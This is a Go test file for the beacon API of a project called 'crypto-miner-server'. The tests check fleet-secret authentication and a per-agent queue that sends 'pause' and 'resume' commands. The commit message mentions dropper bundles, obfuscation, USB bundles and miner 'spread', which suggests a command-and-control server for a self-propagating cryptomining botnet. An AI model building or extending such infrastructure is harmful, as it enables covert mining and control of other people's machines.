WS ticket dashboard auth, builder universal signing/size limits/fusion obfuscation/dropper bundles, Path Tracer WireGuard topology, SessionGate degraded mode and download timeouts, server bootstrap (data dir, cloudflared dedupe, config port precedence), agent mesh/miner/spread fixes. README refreshed; usb bundle repacked; PROBLEMS.md audit log updated.
123 lines
3.2 KiB
Go
123 lines
3.2 KiB
Go
package api
|
|
|
|
import (
|
|
"bytes"
|
|
"encoding/json"
|
|
"net/http"
|
|
"net/http/httptest"
|
|
"testing"
|
|
|
|
"crypto-miner-server/internal/db"
|
|
"crypto-miner-server/internal/models"
|
|
)
|
|
|
|
func TestAgentBeaconFleetSecretAuth(t *testing.T) {
|
|
resetAuthState(t)
|
|
const secret = "beacon-test-secret"
|
|
SetAgentPathSecret(secret)
|
|
|
|
database, err := db.New(t.TempDir())
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
defer database.Close()
|
|
|
|
hub := NewWSHub(database)
|
|
hub.SetFleetSecret(secret)
|
|
|
|
body, _ := json.Marshal(map[string]interface{}{
|
|
"agent_id": "agent-beacon-1",
|
|
"stats": map[string]interface{}{
|
|
"hashrate_15s": 100.0,
|
|
"hashrate_1m": 100.0,
|
|
"hashrate_15m": 100.0,
|
|
},
|
|
})
|
|
|
|
h := basicAuthMiddleware(http.HandlerFunc(hub.HandleAgentBeacon))
|
|
req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/beacon", bytes.NewReader(body))
|
|
rec := httptest.NewRecorder()
|
|
h.ServeHTTP(rec, req)
|
|
if rec.Code != http.StatusForbidden {
|
|
t.Fatalf("missing secret: got %d", rec.Code)
|
|
}
|
|
|
|
req.Header.Set("X-Fleet-Secret", secret)
|
|
rec = httptest.NewRecorder()
|
|
h.ServeHTTP(rec, req)
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("valid secret: got %d body=%s", rec.Code, rec.Body.String())
|
|
}
|
|
var resp beaconResponse
|
|
if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if !resp.OK {
|
|
t.Fatal("expected ok")
|
|
}
|
|
}
|
|
|
|
func TestBeaconCommandQueueUnknownAgent(t *testing.T) {
|
|
hub := NewWSHub(nil)
|
|
hub.MarkBeaconSeen("ghost-agent")
|
|
if hub.EnqueueBeaconCommand("ghost-agent", "pause", nil) {
|
|
t.Fatal("enqueue should fail for unknown agent")
|
|
}
|
|
}
|
|
|
|
func TestBeaconCommandQueueRoundtrip(t *testing.T) {
|
|
database, err := db.New(t.TempDir())
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
defer database.Close()
|
|
_ = database.UpsertAgent(&models.Agent{ID: "q-agent", Name: "host", Status: "offline"})
|
|
|
|
hub := NewWSHub(database)
|
|
hub.MarkBeaconSeen("q-agent")
|
|
if !hub.EnqueueBeaconCommand("q-agent", "pause", nil) {
|
|
t.Fatal("enqueue failed")
|
|
}
|
|
cmds := hub.dequeueBeaconCommands("q-agent")
|
|
if len(cmds) != 1 || cmds[0].Action != "pause" {
|
|
t.Fatalf("commands: %+v", cmds)
|
|
}
|
|
if len(hub.dequeueBeaconCommands("q-agent")) != 0 {
|
|
t.Fatal("queue should be empty")
|
|
}
|
|
}
|
|
|
|
func TestAgentBeaconReturnsQueuedCommands(t *testing.T) {
|
|
resetAuthState(t)
|
|
const secret = "beacon-cmd-secret"
|
|
SetAgentPathSecret(secret)
|
|
|
|
database, err := db.New(t.TempDir())
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
defer database.Close()
|
|
_ = database.UpsertAgent(&models.Agent{ID: "cmd-agent", Name: "pc", Status: "offline"})
|
|
|
|
hub := NewWSHub(database)
|
|
hub.MarkBeaconSeen("cmd-agent")
|
|
_ = hub.EnqueueBeaconCommand("cmd-agent", "resume", nil)
|
|
|
|
body, _ := json.Marshal(map[string]string{"agent_id": "cmd-agent"})
|
|
h := basicAuthMiddleware(http.HandlerFunc(hub.HandleAgentBeacon))
|
|
req := httptest.NewRequest(http.MethodPost, "/api/v1/agent/beacon", bytes.NewReader(body))
|
|
req.Header.Set("X-Fleet-Secret", secret)
|
|
rec := httptest.NewRecorder()
|
|
h.ServeHTTP(rec, req)
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("beacon: %d %s", rec.Code, rec.Body.String())
|
|
}
|
|
var resp beaconResponse
|
|
if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if len(resp.Commands) != 1 || resp.Commands[0].Action != "resume" {
|
|
t.Fatalf("commands: %+v", resp.Commands)
|
|
}
|
|
}
|